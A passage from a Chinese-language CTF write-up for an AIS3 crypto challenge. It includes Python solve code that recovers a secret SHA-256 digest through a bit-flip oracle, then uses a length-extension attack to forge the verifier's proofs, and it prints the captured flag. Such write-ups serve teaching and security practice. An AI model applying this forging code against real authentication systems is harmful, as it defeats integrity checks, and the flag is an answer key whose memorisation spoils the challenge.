1 + t * lambda形式,表示目前最後一個可見1的位置是255 - t - 用 flip oracle 把該 bit 翻成 0
- 重複直到 proof 變成
zero_count * lambda形式 - 用
zero_count補回前綴的連續1,得到完整 256-bit digest
- 進
-
所以用兩張表做 proof decode:
TRAILING_PROOFS = {((1 + t * LAM) % N): t for t in range(256)}TERMINAL_PROOFS = {((z * LAM) % N): z for z in range(257)}
def classify_lambda_proof(proof): if proof in TRAILING_PROOFS: return "trailing", TRAILING_PROOFS[proof] if proof in TERMINAL_PROOFS: return "terminal", TERMINAL_PROOFS[proof] raise ValueError(f"bad lambda proof: {proof}")還原 digest 的主迴圈:
def recover_digest(): attempt = 0 while True: attempt += 1 c, server = start_oracle(b"", LAM) bits = [0] * 256 queries = 0 try: while True: proof = ask_proof(c) queries += 1 kind, value = classify_lambda_proof(proof) if kind == "terminal": zero_count = value leading_ones = 256 - zero_count for i in range(leading_ones): bits[i] = 1 digest = int("".join(map(str, bits)), 2).to_bytes(32, "big") c.close() return server, digest t = value index = 255 - t bits[index] = 1 if queries >= 128: raise RuntimeError("digest weight too high for this session") flip_bit(c, index) except Exception: c.close() time.sleep(0.2)- 到這裡我們只知道
digest = sha256(flag || base_suffix),且 SHA-256 是Merkle-Damgard 結構,只要知道 digest, message_length,就可以對後面追加的資料繼續 hash。假設 flag 長度是L,我們構造:
glue = sha256_padding(L + len(base_suffix))shown_nonce = base_suffix || glue
# challengesha256(flag || shown_nonce || challenge_server_part)
# calcsha256(flag || base_suffix || glue || challenge_server_part)- 如果
L猜對,flag || base_suffix || glue正好是一個合法 SHA-256 padding 後的訊息邊界,因此我們可以從已知 digest 繼續壓縮challenge_server_part,得到 challenge 需要的 digest。
def sha256_padding(length): return b"\x80" + b"\x00" * ((56 - (length + 1) % 64) % 64) + struct.pack(">Q", length * 8)
def sha256_continue(digest, processed_len, data): state = struct.unpack(">8I", digest) payload = data + sha256_padding(processed_len + len(data)) for i in range(0, len(payload), 64): state = sha256_compress(state, payload[i:i + 64]) return struct.pack(">8I", *state)- flag 長度未知,所以先用 oracle 測。對每個候選長度
flag_len:- 算出
glue = sha256_padding(flag_len + len(base_suffix)) - 用 oracle 請 prover 計算
base_suffix || glue || fresh_server_part的 proof - 自己用 length extension 計算預測 digest
- 用公開的
compute_proof_from_digest(predicted, 2)計算預測 proof - 如果 proof 相同,長度就是對的
- 算出
def find_flag_len(base_suffix, base_digest): for flag_len in range(1, 129): glue = sha256_padding(flag_len + len(base_suffix)) c, server2 = start_oracle(base_suffix + glue, 2) predicted = sha256_continue(base_digest, flag_len + len(base_suffix) + len(glue), server2) expected = compute_proof_from_digest(predicted, 2) got = ask_proof(c) c.close() if got == expected: return flag_len raise RuntimeError("flag length not found")
# flag length = 62- 已知
base_suffix、base_digest = sha256(flag || base_suffix)、flag_len,每一輪都送同一個 nonce:
shown = base64(base_suffix || sha256_padding(flag_len + len(base_suffix)))- verifier 印出該輪的
server suffix和seed後:- 對
server suffix做 SHA-256 length extension - 用公開的
compute_proof_from_digest()計算 proof - 送回 verifier
- 對
def solve_challenge(base_suffix, base_digest, flag_len): glue = sha256_padding(flag_len + len(base_suffix)) shown = b64(base_suffix + glue) processed_len = flag_len + len(base_suffix) + len(glue) c = Conn() c.read_until(">") c.sendline("2") while True: line = c.recvline() if line.startswith("server suffix = "): server = base64.urlsafe_b64decode(line.split(" = ", 1)[1].encode()) c.read_until("nonce:") c.sendline(shown) elif line.startswith("seed = "): seed = int(line.split(" = ", 1)[1]) digest = sha256_continue(base_digest, processed_len, server) proof = compute_proof_from_digest(digest, seed) c.read_until("proof:") c.sendline(str(proof)) elif line.startswith("AIS3{"): c.close() return line
# [+] recovered digest after 1 oracle attempt(s), weight=116# [+] flag length = 62# ...# round 16/16# ok# AIS3{simple_oracle_and_dramatic_injections_leading_forge_XDDD}